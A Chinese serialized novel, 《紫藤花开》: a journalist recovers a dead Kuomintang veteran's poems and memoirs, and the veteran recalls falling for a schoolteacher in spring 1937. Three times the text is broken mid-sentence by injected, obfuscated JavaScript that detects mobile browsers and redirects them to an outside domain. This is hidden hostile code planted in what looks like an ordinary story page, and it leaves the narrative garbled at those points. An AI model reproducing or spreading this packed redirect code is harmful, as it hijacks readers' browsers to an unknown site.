《紫藤花开》 1. 引子 民国六十一年,春。台北。 连续多日的春雨,让人烦恼得很。 上班不久后接到的电话,让我走进一个老兵的世界。 “请问是龙先生么?” “您好,请问是哪位?” “这里是荣民总医院。我是心血管科的张远山医生。龙先生,您是否认识一位林先生,来自南投的林之秋先生?” “林之秋?我想想,哦,是的,是有这么一位,”眼前出现了一位老军人的身影,“您那是荣民总医院?怎么了,林先生他生病了么?” “是这样的,龙先生,林之秋先生在我们这住院,心血管内科四房七床。他今天早上走了,留下了一些东西,其中有个笔记本,上面有您的名字和电话……您是目前我们在台北唯一能联系上和林先生有来往的人了。不知您今天是否方便?能过来一趟么?” 什么,走了?那位老军人的形象在我眼前渐渐清晰起来,不由想起去年在南投的见面,那刚毅的脸庞,深邃的眼神, 还有那晚的长谈,一起喝酒时他一边拍着我的肩膀一边说小老乡再来一杯的场景。 到了医院见了张医生,他一个劲的说明情况。说是前几天才从南投转院过来,检查时发现体内还有战时的弹片,应是当初条件有限手术不彻底;原本计划等病情稳定后再做手术,没想到今日清晨发生大面积心梗,抢救了一个多小时,还是没有救过来。 院方问了南投那边,说是孤身一人,据说有几位兄弟,却都在海外,似乎是在北美,还有姐姐在香港什么的,数年前还有一位侄儿来看过,却是不知联系方式和地址;原来还有几位好友,病着的,走了的,移民的,居然没有一人能这两天来台北。后来查他的遗物,看到一笔记本,上面有我的名字和电话号码,所以就联系了。 我接过那些遗物,除了身份证件外,不过是一个包,几件衣物,一些散钱,一本存折,一小串锁匙,还有一个大八开磨砂封皮的笔记本,记得是离开南投那天我送的,我在那上面留了签名和电话号码。 我打开笔记本,在封面夹套内发现一张泛黄的照片,虽然套着塑料袋,照片的一角还是有些磨损,看得出经常被人拿起。 照片上是位面容姣好的女子,梳着三十年代流行的发式,年龄大约是二十岁左右,身着浅色带花的旗袍,甜甜的笑着。再看照片背后,有竖写的秀丽小字:之秋惠存。落款人是芸儿,日期是民国二十六年七月。 民国二十六年七月?七七事变那些日子?我便有些好奇。 这照片虽然已是年代久远,但却被老人如此精心保存,出于记者的职业反应,我想这里面应该有个故事的。 照片上这女子,一定是老人心目中很重要的人,这么多年了,相片一直放在身边。照片上的日期,似乎揭示了一段往事,联想起老人曾是军人的身份,那或许就是老人将上战场之时,一位叫芸儿的女子,送上了自己的照片。 想想老人至死都是孤身一人,那么这位芸儿应该是失散多年,或许在战火中,或许其他什么原因;眼下却不得而知。老人对她却是念念不忘,至死不渝;这其中又有多少悲欢离合,多少情深意浓,一切都随着老人的离去,飘散在这绵绵的春雨里。 我翻了翻笔记本,发现是一本诗集,有一百多首,看得出是主人不久前细心誊写的,用的是非常漂亮的行书,而且每一首诗都有一个日期。前面好几十首,日期基本上集中在民国二十六年到二十七年;民国三十九年后又多了起来。再看看日期,有两个日子是每年都有诗作,想必是某些特殊的日子吧。最近的一首就在几天前,题目是《紫腾花开了》,我轻声的读了起来: 紫腾花开了 在丝丝的春雨里 想起一幅幅画面 像一阵春风吹入心底 那是你的一许明眸 似流水般纯净 浅浅一笑 我已在醉里 任光影流梭 最爱是你 久久常伴的惦念 只是为你 一生 想你 那一刻我鼻子有些酸了,我仿佛看到那位老人在灯下写诗的身影。 真是一位痴情的老人啊。 在笔记本的最后一页,我看到了几行字:手稿,书架上手第二层,铁盒。 我想那应该是老人留下些什么,像是一个备忘;又或是他这回来台北后,大约是对自己的状况有些担心,留下一些线索,希望能被后人看到的。 那会是什么呢?是老人的家书,还是老人的故事? 作为一名记者,我觉得有必要去走访一趟。 几天后,我把老人的骨灰带回了南投。 老人小院那棵紫藤树,花开的如瀑布似的,甚是醉人。上回来时不是花期,没有注意到,今天见了,真是不一般呀。想想这应该就是笔记本上最后那首诗里的紫藤花吧,可如今斯人已逝,花自盛开,空气中有些淡淡的忧伤。 老人的屋子收拾的很整齐,书桌上有些练书法用的毛边纸,打开一看,最上面的一幅是非常漂亮的董体,内容是于右任老先生的《国殇》:葬我于高山之上兮,望我大陆。大陆不可见兮,只有痛哭。葬我于高山之上兮,望我故乡。故乡不可见兮,永不能忘。天苍苍,野茫茫,山之上,国有殇! 我读着读着,居然眼圈里就有些湿润起来。 这该是老人身后的愿望吧! 在老人卧室里,我又看到几幅人物油画,画得都是同一个人。 那女子看着就有些熟悉,闭眼一想,这不就是相片里那位芸儿么? 去年来的时候,我没进过老人的卧室,只注意到老人会画油画,尤其是风景画得好;今天一看,才知道老人画人物肖像也是有一手的,特别是见过芸儿的照片之后。虽然画面上是不同的场景,但芸儿的神态,就在画布上。 有一幅半身像尺寸较大,似有真人大小,也许老人时常倾诉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15592256|171881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衷肠吧。 在靠窗的位置,还有幅快要完成的油画: 蓝蓝的天空下,是一地齐腰高的油菜花,一位白衣女子在花海里,甜甜的笑着,看着远方。 看画架周边的情景,老人当初去医院时,想必是希望早些回来完成的。 看到这些,我不由得对芸儿产生了深深的好奇。究竟是一段什么样的经历,才让老人有了这一生相守的真情? 在周边邻居帮助下,我们找了一块高地,墓碑向西,周边种了几棵紫藤。 老人葬礼非常简单,参加者多在五十岁以上,只是一家人有些特别,看得出是一对年轻夫妇和母亲及兄弟,那少妇一身黑衣,异常的伤心。 再一看那少妇面容似曾相识,仔细一想,这不是那位俱乐部的经理吗?上回来此和老人去听歌时见过的,记得她还亲自献歌,唱得挺好;而且更让我惊讶的是,她居然和照片上、油画里的那位芸儿是那样的相似! 葬礼结束后,她们夫妇也到了老人的木屋,她怀里还抱着一个应该是刚满月不久的婴儿,然后一家三口在老人遗像前鞠躬。鞠躬完后,她一度伤心的不能自已,似乎想让木屋内原封不动的一直保持下去,经先生劝说了好一会儿,她才放弃。至于那些风景油画,他们取走一幅留作纪念,对于那几幅芸儿的画像;两口子商量许久,并征求我的意见,最后请我帮忙,让我和她先生一起,带到老人坟前焚化了。 我和她先生聊了一会儿,这两口子称老人为伯伯,家在台中;因先生在高雄教书,一家人很快就要搬去高雄了,此后再要上来怕是不那么方便了。 这让我颇有些疑惑:在医院时听说老人的至亲都在海外,这位女士称老人为伯伯,而且和画中芸儿有那么相似,难道她是芸儿的什么人? 这其中又有哪些经历和故事? 我很想搞清楚,可那种情况下却是不太方便多问了。 送走这对夫妇后,我找到老人留下的盒子,里头是厚厚一大叠的手稿。 我翻了翻,都是老人的一些记忆片段,最早的片段是从民国二十六年四月份开始的,记录和芸儿的交往,经历的战事,还有来台后的一些经历。老人应该是想写一些回忆录吧,只是还未成而已。 很快的,有一段话引起我的注意: 如果这些故事有一天能让人读到,希望我的芸儿是第一个读者。 读着读着,我仿佛看见了一个个故事,一帧帧画面,直到夜深人静。 我把老人的手稿带回了台北。 此后连续多日,老人的故事一直深深的扎在我的脑海里,让我有股冲动,就想把这些故事一个个串起来,写下来;若是有那么一天,能找到那位芸儿,把这故事奉上,也算是完成老人的所托。 我最终还是提起了笔,用老人自述的口吻,就有了下面这些故事。 至于题目,就用老人留下的最后一首诗的名字来命名吧,并以此致敬所有那些曾为国家、为民族付出之人。 2. 小城初见 我第一次见到芸儿,是在民国二十六年的春天。 那一阵南风,把我带往一个小城。 我叫林之秋,时任南京参谋本部某科上尉参谋。受一个已是小城代理县长的表哥同学之邀,前往这个小城休假。 沿着古老的运河一路北上,时有粼粼的湖光和青青的远山,时有袅袅的炊烟和矮矮的村舍,还有青葱的麦田,若见到块块的金黄,那必是油菜花了;偶尔还能见到牵着牛儿的牧童,对着来往的车辆招手。 这是运河边上的一个小城。下车出来没多久,就看见一个渡口,那是古老的码头,河边船儿叠叠,码头上人来人往。 我问了路,才知要县府所在还要走上一段。 一些车夫围了上来,我谢绝了,只想自己走走。这或是职业的关系,我每到一地,常会关注周边的地形地貌,当然还有风土人情的。 那是四月的午后,煦暖的阳光照在身上。我一身灰色的西装,拎着皮箱,在这相对安静的小城里倒是有些醒目。 小城不大,除了两条交叉可以通汽车的主路外,大多是一条条铺着青石板的老街,一些石板路上还有深深的车辙。在前往县府的路上,有沿街叫卖的商贩,有围圈练拳的艺人;有嬉笑吵闹的孩童,还有拄杖踱步的老人。沿街两边有林立的商铺,亦有不少的茶楼和酒肆,述说小城的古老。 茶楼里有不少人,有的在悠闲的品着茶,有的在热闹的玩着纸牌,只是我的经过,会让他们暂时停下,然后便有阵阵好奇的目光。一切都如同小城数百年来所经过平淡的生活,只有一群穿着制服、打着纸旗、喊着口号的学生走过,才让人想起战争的阴影已在空气之中。 来到县府,说是黄县长表弟来访,那门房便急忙进去通报 。 未久,就看见我的那位表哥县长笑吟吟的从里面快步走出来,格外欣喜的模样,大老远的就高声说道:“哎呀呀,之秋!是你么?你怎么就自己跑来呢?我可是叫人到车站去接你,怎么就没有接到呢?这些人是如何办事的?快进来,快进来!”话未说完,一双有力的大手就握了上来了。 我赶紧说:“不打紧的。表哥你真是太客气了,我是习惯自己走走,四下看看,也挺好的。” “那可是委屈你了!之秋!你肯屈尊来我这小县看我,我就万分感激了,怎么好意思让你自个提着行李过来?这些人真是无用!回头我敲他们!让我看看,你还是没变,不管穿不穿军装,总是那样的风流潇洒!” “表哥又说笑了。之秋这回来可是要专门向你道喜的,你现在可是贵为县长大人了,一县的父母官喽。” “惭愧呀惭愧,若非姑丈提携,我这连代理都没得当啊。我对贵府一家上下,可是感激不尽呀。” “哎呀表哥,你这话说的,还贵府呢,这么说不有些生分?家父不问政事多年,若说帮忙,不过是打过电话而已。再说二舅不也是省府里的厅长?更别说我们曾一起疯玩,还是从中学到大学的同学么。” “之秋我就不和你说啦,每回都说不过你!” 说笑间表哥就迎我进屋,一阵闲聊之后,我对于小城情况略有了解。 小城规模不大,历史是相当悠久,早年沿着运河,依托漕运还是相当繁华,津浦铁路通车后,运河沿线略有些没落了。小城有一所完中和一所包含初小和高小的国民小学,还有些私塾;而这国民小学还是我这位表哥扩建的,颇受好评,也算一项政绩了。 说起这所小学,表哥不由有些得意了,说了一大堆不易和成绩之后,他忽然有些狡谐的提议要带我去学校走走,我还说他忙,可他非要去不可,说是让我提提建议。 表哥打了个电话,也不带随从,带着我径直往小学而去。 离开县府,沿着老街走过长长的青石板路,跨过一座石桥,经过一个古旧的祠堂。那祠堂挺高大,雕梁画壁的,屋顶上却长着不少野草,看来荒废有些时日了。再走上一小段,就来到国民小学的大门。 那校长早已候在大门前,见了面,我那表哥自然又是大大夸奖一番。那校长便愈发的恭谦,然后便是一大堆的客套话,对此我甚是不以为然,但却相当无奈,只好有一句没一句的聊着,走进了学校。 进了门,就见大树上挂着一口铜钟。走过一个不大的操场,看见好几排平房,那便是教室了。操场一边就挨着运河,种着不少杨柳,颇有些韵味。 学校看上去不大,校长说全校师生加起来有六百多人,已是周边几个县中规模比较大的小学了。 走过教室,穿过一个月亮门,便是一个不小的后园,整个后园里种着十几棵不高的树,有些已开着紫色的花,一串串的,甚是美丽。一阵清风吹来,片片的花瓣洒落,带来缕缕幽香。 后园正中有一栋独立的两层青砖小楼,楼下是办公室,楼上就是校长宿舍了。小楼有些古朴的样子,还有着雕花的窗。楼前有块平地,长着一些不知名花草,小楼左前方有排平房,屋檐下晾着一些衣服,想必是教工宿舍了。紧挨着教工宿舍的,是个小食堂。 校长把我们一行引到楼上喝茶。站在窗边,四下望去,风景确实不错,可以看见运河边的柳荫和远处低矮的小山,还有一些鸭子在水里快乐的游着。 正说笑着,下课钟声响了。月亮门处,走进了两位黑裙蓝衣的女教师,其中一位见了楼上的我,居然挥着手大呼小叫起来:“林之秋,是你么?真的是你么?” 我见了大为惊喜,这不是大学里小学妹徐雅么?她还是文学社的骨干,彼时常在一起的;便急忙说道:“是我是我,徐雅,你怎么会在这儿呢?” 我快步下楼去,徐雅便迎上来笑着说:“我家就在这儿呀!林之秋,真是你呀!我都不敢相信自己眼睛了,这么多年没见,没曾想能再次看到你!真是太好啦!”说话间见表哥从我身后冒出来,小拳头就锤上了,“怎么不早说,前几天说会给我一个惊喜,我说是什么,原来是之秋!” 表哥假假的责备开了:“徐雅,怎么这么不分场合呢?我这也是好心么,让学长来见你。你只知道这位学长大学毕业后从了军,当上国军军官,可你不知道吧,他是我表弟!之秋,过来见过你表嫂!” “什么?之秋是你表弟?读大学时候怎么没听你说起呢?玉轩,你还有什么是瞒着我的?” “哪能呢?你对我可是知根知底的。”表哥边回边笑着对我扮鬼脸。 “表嫂?哎呀!真没想到啊,徐同学!大学时我只知道你们走得有些近,没想到还有这一出呀!这是什么时候的事呀?你们两可得请客了! 我原本只知道这位徐同学的父亲是煤矿老板,听说在省城也有相当影响力,至于她家在哪此前倒是没有在意;对于表哥能来着小县城当代理县长,我起初还有些纳闷呢,这留在省城不好么?原来是这么回事呀。 徐雅听了有些红着脸的说道:“还没呢,只是订了婚而已。” “恭喜呀恭喜,打算什么时候请酒呀?” 表哥大大咧咧的说着:“日子订在中秋前两天,到时候在省城请,之秋你可是一定要来的。” 省城请客?徐雅见我有些疑惑,笑着说表哥在七月就要调回省城了,他们新家便会安在省城,表哥今后还要往南京发展,以后能常见的。还说怎么没见我穿军装过来,此前只在表哥那儿见过照片什么的。 徐雅说着说着,忽然想起什么似的,一把拉过另一位女教师,“诶呀呀,瞧我这高兴的,忘记介绍了。之秋,这位是我的闺蜜,洪梦芸,洪老师,洪大美女;梦芸,这是位从南京来的林之秋,我大学学长,现在该叫林长官了。” 我这才注意到这位女教师,中等的身材,皮肤白白的,略方的脸,长长的眉毛,眉眼间似乎有淡淡的忧愁,她大大方方的伸出手来,微笑着,露着洁白的牙齿,那声音如同天籁之音一般,好听极了:“您好,林长官,我是洪梦芸,梦里的梦,芸芸众生的芸,教国文的。” 那一刻,我忽然觉得心里被什么撞一下似的,急忙伸出手去,轻轻一握。 “洪老师好!我是林之秋,之是之乎者也的之,秋天的秋。” 梦芸“噗嗤”一声的笑了,笑起来那眼睛便有些眯着了,整个笑容更是如花般灿烂;她似乎又觉得有些不好意思,咬了咬嘴唇,略微低下了头说道:“林长官,您真风趣,我可是第一次听到有人介绍自己时用上了‘之乎者也’这个词的。” 话音未落,徐雅便笑着接上话了:“这个不奇怪啦,梦芸我给你说,这位林长官可不简单哦,长得帅不说,还画得一手好画,写得一首好诗,有时候我真是想不明白,像他那样的人,怎么会去从军?” 梦芸抬起头细细看了我一眼,笑着说:“军人真是别有一番气质啊。都说好男儿志在四方,林长官想必是要学古人从军报国,建功立业的。” “哪里哪里,让洪老师见笑了。之秋幼时在广州,听多了辛亥革命英烈之事迹,后又听闻先总理两次护法及受国民革命军东征北伐之鼓舞,从军报国思想是早就有之,家迁至汉口后,又恰逢时机,才得以投笔从戎了。” 表哥听了便笑道:“我也曾想投军来着,只是体质不行呀。洪老师你是不知道,我这位表弟打小就喜欢玩枪弄棒,他还读过黄埔军校呢。” “黄埔军校?”梦芸有些惊奇的问道:“那可是不一般的!请问林长官是在广州读的么?黄埔几期呀?” 我看着梦芸,那眼里是一片的纯净,还略有些崇拜的样子,不知怎的,我对这位女教师就有些好感,但对林长官这个称呼,心里还是怪怪的。 “我是民国十九年武汉读的第八期,后并入南京本校第二总队,民国二十二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“这倒也是。不过之秋来不了,我们可以去看他呀!我们举办婚礼时,梦芸是我的伴娘,对了之秋,你还未婚吧?到时给玉轩当伴郎好不?届时你和梦芸不是可以天天见上?” 梦芸一听就有些脸红了。“徐雅,这当伴娘不是早就说好了么?怎么把我扯到林长官那去呢?” 表哥听了笑着转头便问:“伴郎这提议不错,就看之秋可否愿意?” “表哥所托,这个伴郎之秋自是愿意的。” “我就说嘛,请之秋当伴郎肯定没错的,”徐雅开心的说着,那眼神又是一转,“不过,不过,” “不过什么?”我有些好奇了。 “做伴郎时可不好穿军装的,还是西装好。” “那是自然呀。” “这样我们就看不到你穿军装的模样了。” “我说徐雅,你怎么老是惦记着之秋穿军装呢?”表哥又笑了。 “玉轩你怎么转不过来呢?我这是想让梦芸看之秋穿军装!” 看着表哥他们小两口拌嘴,我和梦芸也是相视一笑。 梦芸见我看她,颇不好意思的低下头去,可那一脸略微害羞的模样,特别是那微微一笑,顿时让我有惊为天人的感觉! “好啦好啦,至于军装么,我下回穿来就是了。” “什么下回?下回是哪年那月呀?”徐雅有些不依不饶。 表哥笑着解围:“徐雅你想想,我们不是还要添置一些结婚用品么,可以去南京采买呀,你不会请梦芸帮个忙,帮忙参考参考?到时候拉着她去南京不就得了?” 徐雅一听便恍然大悟的说:“对呀,到时候选那个婚纱呀、旗袍,还有首饰什么等等一大堆,梦芸你可以帮我挑挑,看看哪个款式适合,要怎么搭配起来才好看;梦芸,这个忙你可是一定要帮哦。” 梦芸低着头小声说着:“好啦,依你便是,谁让我们俩是好姐妹呢?” “就这么说定了!之秋,七月我们初去南京看你啦! 对了,之秋你这回来这能住上几天?” 当她听说我第四天下午必须回程后,便有些霸道的宣布我的行程都由她安排,正好接下来学校放四天春假,可以拉上梦芸陪我一同游玩。 我的行程就这样定了下来。 当天晚上,表哥县长做东,在小城最好的太白楼为我接风。虽是小范围,但酒却喝的不少。如今想来,那晚的记忆早已没有多少,但是我却清晰的记得,梦芸有事没来,而我居然会为第一次谋面的女子有些失落。 我不知道,这趟小城之行虽然只有短短几天,却从此改变了我的一生。 从那天起,梦芸就进入我的生活,进入我的记忆中了。 在我的记忆中,那天午后天气很好,有煦暖阳光,有淡紫色落花;还有一位从此住在心里的身影,以及那甜甜的声音,盈盈的笑容。 3. 春游诵读 第二天早上,我们几位约好一起先去运河边观景。 表哥县府有事,徐雅来接我,早间就我们三人。 到了那儿,梦芸已等候多时了。她一身湖蓝的大袖旗袍,米白色披肩上长发飘飘,让我居然一时有些认不出来了,顿了顿才反应过来打声招呼。 “林长官”“洪老师”,结果我们两几乎是同时叫出了口。 徐雅见了便在一旁笑着说:“你们两今儿怎么啦?都忘了对方是谁啦?” 这一下可把我们两闹个大红脸。 我正要说些什么,徐雅却先说开了:“开个玩笑啦,这可是我们这的胜景,还是文人和游子的聚会地呢。” “哦?”我顿时有些兴趣了。 我看看了周边的环境,矮矮的小山上有一座不大的小楼,白墙青瓦,应该是有些年头了;再看看门匾上题的字,居然是“写忧阁”,写忧? 梦芸见我有些疑惑的眼神,笑着问到:“听徐雅说,林长官当初在大学里国文学的是顶好的,这楼名可有些来历,林长官要不猜猜出处?” “有来历?这我可要好好想想了。” “怎么见面又考上了呢?好吧,之秋,这楼名可是有出处的,可早啦,还有,别读错哦。” 出处可早?该不是两汉,先秦吧?别读错名字?那多半这名字中有个字是通假。我想了想,“莫非是《诗经》里的那句,驾言出游,以写我忧?这该读成泻忧阁?” “林长官厉害呀,您这《诗经》读的好呀。”梦芸听了便是一脸的惊喜。 “见笑见笑了,以前读过一些,都忘了不少,还亏得是徐雅提醒。” “要提醒也要先读过呀!梦芸我和你说过的,我这位老同学能赋诗,能填词,还见过他写新体诗,可是个才子哦。” “好啦好啦,徐同学,我的好表嫂,您就别再用那两个字来埋汰我啦。” “这怎能是埋汰呢,我说的是事实。不过今天来这儿,我们不说舞文弄墨,至少也要吟诗作赋吧,也好成就我等三人相聚于此这番美事。” “噗嗤”一声,就见梦芸抿着嘴儿笑了。 “我的洪大小姐,您这笑什么呢?” “不敢不敢,只是忽然想起滕王阁啦。”梦芸微笑着,然后就学起古人的样子,摇头晃脑吟诵起来:“南昌故郡,洪都新府……” 徐雅一听,似乎立刻明白了什么,“好你个洪梦芸,你这是在变着法儿笑我呐!”正要胳肢过去,又顾及我在一旁,才收起手儿,学着戏里的样子,“小心了这副伶牙俐齿,看我回去怎么好生收拾你!” “奴家不敢,奴家不敢。”梦芸回应着,笑得更欢了。 “好啦好啦。”我在一旁打起了圆场,看看四周。“不过话说回来,这儿景色可真是不错。” “那是自然的,要不古人怎会在此留下诸多墨迹呢?” 顺着徐雅的手指看去,我这才注意到墙上挂着不少牌匾,想必是那些文人墨客留下的诗句什么的。“既然如此,我们今日来此一游,写诗谈不上,不过找些前人的诗句,诵读一些也是可以的。” 梦芸听了便笑道:“林长官说的是!前些日子还有好些大清国的遗老遗少们在此赏花吟诗作对呢,此楼的盛景,便在春日的一早一晚。” 我一听便来了兴趣,张口便问:“哦?这个还请洪老师解说一二。” “我也是听老辈人说的。到了春日桃花开之时,早晨朝阳刚出,最好有些薄雾,两岸花红似火,村舍阡陌,如仙境般的;又或是夕阳西下,渔舟唱晚,水波荡漾,霞光流云,雀儿归巢;那可真是一个美字了得。” “听洪老师这么一说,这真是个宝地呀。可惜现在桃花谢了。” “没有桃花,还有油菜花呀。”徐雅笑着说。 我一看,可不是嘛。运河上船帆点点,远处小山连连,田野村舍穿插其间,微风过处,金黄的油菜花边如海般荡漾开去。好一幅江南山水画卷! “这可真美呀。”我不由自主的说着。、 “林长官,您喜欢这儿?”梦芸扶着栏杆,转过头去,极目远眺,风儿把长发拖起,笑意写在脸上。 “当然喜欢呀,这里是那么的宁静、祥和,特别是看到哪些船,感觉好不一般,若说如同世外桃源,也不为过。” “真的?”梦芸脸上有些欣喜,她迎着风儿,不由的轻声唱起来:“云儿飘在海空,鱼儿藏在水中,早晨太阳里晒鱼网,迎面吹过来大海风,潮水升,浪花涌,鱼船儿飘飘各西东,轻撒网,紧拉绳,烟雾里辛苦等鱼踪,鱼儿难捕船租重,捕鱼人儿世世穷,爷爷留下的破鱼网,小心再靠它过一冬……” 歌声相当的质朴,却又非常的委婉动听,沁人心脾;唱到高处,还能婉转上行,仿佛登楼观景,越是高处,景色越发的不同。 在这小城能听到这样的歌声,我不免有些诧异了。 “洪老师,您这歌儿是《渔光曲》吧?”。 “是呀是呀。咦,林长官也知道这歌儿?” “知道的,这电影我还看过的。” “哦,我还以为林长官平常听的唱的要么是‘莘莘学子,亲爱精诚’,要么是‘风云起,山河动’呢。” 这可让我有些意外了。“洪老师也知道军歌?” “这有什么奇怪的。” 徐雅笑着说:“之秋你可是不知道,我们梦芸还教学生唱军歌呢,军歌听起来雄壮激昂,让孩子们唱着也好励志呀。” “这是前段时间平津学生南下抗日宣传团的功劳啊。”梦芸接上了:“我们从他们那学到好多呢,不光有军歌,还有救亡歌曲,我们还学着她们排演文明戏呢。” “哦,原来是这样啊。让孩子们自小就有爱国、报国的思想,想想也挺好的。如今国事难料,华北危急,搞不好平津会再开战端。小日本亡我中华之心不死啊!真恨不得早日提枪上战场,把小日本赶出中国!” “之秋你又想着你的老本行了,不过这才是革命军人的模样,我喜欢!” “哎呦我的徐小姐,辛亏你是我表嫂来着。”我笑着打趣了。 “你是说玉轩?他敢?!”徐雅叉着腰,一副大小姐的样子。 “我们这位县长大人当然不敢呀,通常都是我们徐雅说东他就往东,从来不敢往西的。” “好你个梦芸,又来啦。”两人又笑闹成一团了。 过了片刻,梦芸忽然想起什么似的,便有些小声的问起:“林长官,您平时也常也看电影么?” “这个倒是很少的。下班后宿舍楼里都是一帮大老爷们,哪会常去看电影呢?说起这《渔光曲》,还是那天适逢周末,被我姐硬拉着去看的,记得我姐看完出来,泪儿汪汪的。” “哦,”梦芸低下了头,小声说着:“看完那电影,我也是的。” 徐雅倒是眼尖,打趣道:“咦?梦芸,这不对呀。你怎么关心起我们家之秋和谁一起看电影来着?” “这是哪儿的话呀?”梦芸羞红了脸,急急的辩解着:“我可没问,是林长官自个儿说的。” “还说没关心呀,这小脸咋就红啦?梦芸我可给你说,我们家之秋可是一表人才,喜欢他的女孩子可是多了去了,梦芸要是喜欢,可要努力哦。” “徐雅!”梦芸有些急了,“你再乱说,我就不理你了。” 我见了急忙解围:“好啦好啦,你们俩就别闹啦。对了,刚才我们说什么来着,要不我们就以春天为题,诵读诵读诗词?” “对对对!我们先吟诗。”徐雅依旧笑着,“以春天为题呀,这个得应景,我先来!有了,王维的《相思》。红豆生南国,春来发几枝。愿君多采撷,此物最相思。我这可是古诗,你们俩接下来诵读的,可要换体裁哦,要么词,要么新体诗,梦芸,之秋,你们俩谁先上呀?” “好吧,轮到男生了。”我想了想,“有了,白居易的《忆江南》。江南好,风景旧曾谙:日出江花红胜火,春来江水绿如蓝。能不忆江南?” “嗯,之秋选的这首词倒是挺应景的。梦芸,轮到你啦。要新体诗哦。” 梦芸想了想,说道:“现在还是四月,春花灿烂的,要不,我就来首林徽因先生的《你是人间的四月天》吧。” 只见她捋了捋头发,双手握在胸前,面朝江面,大声诵读起来: 我说你是人间的四月天; 笑响点亮了四面风; 轻灵在春的光艳中交舞着变。 你是四月早天里的云烟, 黄昏吹着风的软,星子在 无意中闪,细雨点洒在花前。 那轻,那娉婷,你是, 鲜妍百花的冠冕你戴着, 你是天真,庄严, 你是夜夜的月圆。 雪化后那片鹅黄,你像; 新鲜初放芽的绿,你是; 柔嫩喜悦,水光浮动着你梦期待中白莲。 你是一树一树的花开, 是燕在梁间呢喃 ——你是爱,是暖, 是希望, 你是人间的四月天! 我听着听着,不由有些沉醉在诗歌里。梦芸的声音本来就好听,加上是教国文的,那朗诵自是声情并茂,所以当她朗诵完毕,我一时便有些出神。 “之秋,你怎么啦?发呆啦?” 徐雅一声笑问,才把我拉回来。 “好!真好!真是太好了。” “之秋,你说的好是什么呢?是诗歌选的好呢,还是我们家梦芸诵读的好,或是其他什么的好?”徐雅有些狡黠的问着。 “都好啊。不光是选得好,诵读更是没说的。忽然间有些奇特的感觉,洪老师和这首诗似乎是融在一起了。” “之秋,你的意思是说,我们家梦芸就是人间的四月天么?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15592258|171881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “徐雅!”梦芸羞红着脸,貌似又有些急了。“林长官,您别听她瞎说。” “我哪里瞎说啦?哪里瞎说啦?我们家梦芸人长得好,又有文采,不就是人间的四月天么?之秋,你说呢?” “我也是这样想的呢。”我笑着说到,“对了,洪老师,刚才听说你们在排演文明戏?” “是呀,明天下午我们就有一场街头演出,剧目是陈鲤庭先生编写的《放下你的鞭子》。原先只是在学校里演出,要唤醒更多的国人,我们觉得还是要走上街头好。” “你们要唤醒国人?这个好呀!若能让更多的有志青年投身于行伍,我们国民革命军何愁不强大?” “这说的是呢! 之秋,不要总以为报国是你们军人的事,都说天下兴亡,匹夫有责的。”徐雅笑着说,“之秋,你可知我们梦芸可是学校阳光剧社的台柱子么?” “台柱子?” “是呀,我们梦芸呀,能说会唱,别的不说,县里上回搞新生活运动的文艺演出,梦芸就是司仪呢!” “这样啊,有机会我可是一定要一览风采哦。” 梦芸听了有些不好意思的说:“都是大家错爱的,上回那个司仪,还不是拜徐雅那位县长夫君所赐,硬是被拉去的呀。” “梦芸,你不好这样说啦,要是没有实力,玉轩也不会让你上呀。之秋,明天下午的街头演出,我们梦芸可是主角哦。” “哦?这是一出什么戏呢?”我顿时非常好奇了。 “不会吧,之秋,你连《放下你的鞭子》都不知道?” 我挠了挠头,“真不好意思,我是第一次听说有这剧目。” “要不是那些平津学生来过,我们也不知到有这出戏呢。”梦芸听了笑着说到:“林长官军务繁忙,平常电影都少看的,不知道挺正常,更别说看学生演文明戏了。” “这倒也是。我们那常是这个方案那个推演,接触学生多是军校生,见多的是各类的操演,听你们说学平津学生排文明戏,这才有这一问。” 在我心里,对那场一年多前声势浩大的全国学生运动还是颇有好感,彼时南京、上海还有好多城市的爱国学生举行请愿集会或游行。 “哦?林长官您这是对平津学生的文明戏感兴趣么?不知您对学生做这些事情是如何看的?” “不管他人怎么说,我个人觉得爱国无罪。学生都有一腔热血,我辈革命军人自当全力报国。” “林长官说的是!我们都是热血青年,位卑不敢忘忧国!” “好啦好啦,一说到爱国,你们两就来劲啦?还有我呢!” “是是是!我们徐大小姐爱起国来,自是当仁不让。林长官您是不知,您这位表嫂同学年前倡议民众为绥远国军将士捐资捐物呢!她可是冲在前头!” “哦?还有这事?徐雅!这士别三日,当刮目相看啊!” 徐雅有些得意的白了我一眼,“就兴你们军人报国?可惜不会舞枪弄棒什么的,要不咱也学花木兰去!” “好啦!我的徐大小姐,不对,徐木兰女士,之秋服了不成?” “这才是么!之秋,我觉得你们革命军人有时候也可以关心一下民情民意的,那街头演出不是正好?之秋,明天你可是第一次看这出戏了,也是第一次看我们梦芸出场了。” 听徐雅这么一说,我不由得有些期待。这究竟是怎么样的一出戏呢? “那是那是,”我急忙接上话,“关于剧情,徐大小姐,我的嫂夫人,可以透露一点么?” 